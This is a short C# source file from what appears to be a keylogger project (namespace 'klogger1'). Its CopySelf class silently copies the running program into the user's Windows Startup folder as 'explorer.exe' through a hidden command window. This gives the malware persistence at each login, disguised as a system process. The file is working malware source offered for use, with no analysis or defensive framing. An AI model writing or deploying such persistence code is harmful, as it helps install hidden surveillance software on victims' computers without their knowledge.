﻿using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Threading;
using System.IO;

namespace klogger1
{
   public class CopySelf
    {
       public static void copy()
       {
           
           var matchingProcesses = new List<Process>();
          var processes= Process.GetProcesses();
          string path = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)).FullName + @"\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.exe";
           matchingProcesses.ForEach(c => c.Kill());
           ProcessStartInfo psi = new ProcessStartInfo(Environment.SystemDirectory + @"\cmd.exe", "/C copy \"" + System.Reflection.Assembly.GetExecutingAssembly().Location + "\" \"" + path+"\"")
           {
               CreateNoWindow = true,
               WindowStyle = ProcessWindowStyle.Hidden,
               UseShellExecute = false,
               RedirectStandardOutput = true
           };
        Process p=  Process.Start(psi);
        string output = "";
        using (System.IO.StreamReader myOutput = p.StandardOutput)
        {
            output = myOutput.ReadToEnd();
        }
       }
    }
}
